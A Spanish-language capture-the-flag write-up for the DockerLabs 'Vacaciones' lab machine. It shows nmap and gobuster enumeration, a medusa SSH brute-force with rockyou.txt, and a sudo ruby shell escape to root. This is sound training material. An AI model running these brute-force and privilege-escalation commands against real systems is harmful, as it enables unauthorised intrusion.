Skip to content

Vacaciones

This content is not available in your language yet.

En este artículo, explico cómo resolví el CTF de la máquina virtual Vacaciones. Detallo paso a paso las herramientas y técnicas utilizadas para explotar las vulnerabilidades presentes.

  • Nombre: Vacaciones
  • Autor: Romabri
  • Nivel de Dificultad: Muy Fácil
  • Fecha de creación: 02/06/2024
  • Descargamos la máquina desde DockerLabs.

  • Descomprimimos el archivo .zip:

    Ventana de terminal
    unzip Vacaciones.zip
  • Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Vacaciones.tar

Al iniciar la máquina, se nos muestra directamente su IP, por lo que no es necesario realizar un escaneo con ARP.

IP image

Creamos una carpeta para organizar los archivos del CTF:

Ventana de terminal
mkdir Vacaciones
cd Vacaciones
mkt # Crea las carpetas: content, exploits, nmap y scripts

Realizamos un escaneo completo de puertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos del archivo de resultados:

Ventana de terminal
extractPorts allPorts

Ports image

Hacemos un escaneo de servicios en el puerto detectado (80):

Ventana de terminal
nmap -sCV -p80 172.17.0.2 -oN targeted

Resultado:

Services image

Enumeramos los directorios accesibles del servidor web:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt -t 200

Resultado:

Gobuster image

Descubrimos dos rutas: una al index y otra a un directorio llamado javascript (este último denegado). En el código fuente del index, se encuentra un comentario que parece contener información útil:

Comentario image

A partir del comentario, obtenemos dos posibles nombres de usuario: camilo y juan.

Realizamos un ataque de fuerza bruta con medusa al puerto SSH:

Ventana de terminal
medusa -h 172.17.0.2 -u camilo,juan -P /usr/share/wordlists/rockyou.txt -M ssh

Se encuentra que camilo puede acceder vía SSH con una contraseña del diccionario.

Ingresamos al sistema:

Ventana de terminal
ssh camilo@172.17.0.2

Login image

No se encontraron binarios con permisos SUID ni entradas en sudo. Sin embargo, en el comentario del index se mencionaba un mensaje. Revisamos el correo de camilo:

Ventana de terminal
cat /var/mail/camilo

Encontramos un mensaje de juan:

Juan image

El usuario juan tiene permisos para ejecutar ruby como superusuario. Verificamos con:

Ventana de terminal
sudo -l

Luego, usamos searchbins para buscar una técnica de escalado con ruby:

Ventana de terminal
searchbins -b ruby -f sudo

Ejecutamos el comando sugerido por GTFOBins:

Ventana de terminal
sudo ruby -e 'exec "/bin/sh"'

Con esto, obtenemos acceso como root:

Root image

La máquina cumplió con su promesa de dificultad muy baja. Fue una buena práctica para el uso de fuerza bruta, análisis de comentarios en HTML, revisión de correos y escalada de privilegios con binarios sudoers. Las herramientas clave fueron nmap, gobuster, medusa, GTFOBins y searchbins.